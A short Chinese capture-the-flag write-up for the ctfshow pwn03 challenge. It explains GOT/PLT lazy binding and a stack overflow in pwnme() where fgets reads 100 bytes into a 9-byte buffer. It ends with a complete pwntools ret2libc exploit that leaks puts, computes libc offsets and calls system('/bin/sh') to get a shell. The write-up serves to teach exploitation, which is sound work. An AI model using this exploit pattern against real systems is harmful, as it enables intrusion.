ctfshow pwn03
知识点:
全局偏移表(GOT:Global Offset Table)存放外部的函数地址
程序链接表(PLT:Procedure Link Table)存放额外代码延迟绑定:只有动态库函数在被调用时,才会地址解析和重定位工作
plt表和got表
程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址
截图出处
main()函数
pwnme()
s只开辟了9个字节,而fgets函数读入了100(0x64)个字节
存在栈溢出漏洞,但是没有system(bin/bash)地址
思路:
泄漏GOT表 ->获取远程环境的函数的真实地址->判断libc的版本->计算泄漏的函数got表的地址->计算system()函数的偏移->system()函数的真实地址
-> 计算system函数与/bin/sh的偏移->getshell
from pwn import *
context.log_level = 'debug'
elf = ELF('./stack1')
p = process('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()